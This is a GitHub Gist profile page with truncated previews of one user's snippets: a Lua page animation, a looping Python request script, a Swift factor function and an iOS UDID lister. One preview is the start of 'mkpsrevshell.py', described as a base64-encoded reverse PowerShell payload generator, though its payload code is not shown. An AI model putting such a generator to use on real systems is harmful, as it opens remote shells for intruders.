Skip to content

Instantly share code, notes, and snippets.

View powenn's full-sized avatar
💻

powen powenn

💻
View GitHub Profile
@powenn
powenn / CosmicOdyssey.lua
Created November 30, 2025 04:23
For iOS Cylinder Reborn
return function(page, offset, screen_width, screen_height)
local percent = math.abs(offset/page.width)
local centerX = page.width/2
local centerY = page.height/2
local formationProgress = math.min(percent * 4, 1)
local easeFormation = formationProgress * formationProgress * (3 - 2 * formationProgress)
local fadeStart = 0.7
local pageFade = 1.0
if percent > fadeStart then
local fadeProgress = (percent - fadeStart) / (1 - fadeStart)
import json
import time
import requests
from tqdm import tqdm
import concurrent.futures
USE_WHILE_LOOP = True
LOOP_TIME = 2
SLEEP_TIME = 0.5
SUCCESS_STATUS_CODE = 204
@powenn
powenn / mkpsrevshell.py
Last active September 17, 2023 09:20 — forked from tothi/mkpsrevshell.py
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
@powenn
powenn / factors.swift
Created August 27, 2022 13:17
Efficient Way to Find All the Factors in Swift
// https://stackoverflow.com/questions/45445699/most-efficient-way-to-find-all-the-factors-of-a-number
func factors(of n: Int) -> [Int] {
precondition(n > 0, "n must be positive")
let sqrtn = Int(Double(n).squareRoot())
var factors: [Int] = []
factors.reserveCapacity(2 * sqrtn)
for i in 1...sqrtn {
if n % i == 0 {
factors.append(i)
}
@powenn
powenn / DeviceName-and-UDID.py
Last active April 12, 2022 13:51
Get iOS device name and its UDID then showing with PyQT5 message box, support multi devices connected
"""
Get iOS device name and its UDID then showing with PyQT5 message box
supports multi devices connected
"""
import subprocess
import sys
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
IDEVICE_ID_EXEC = "idevice_id"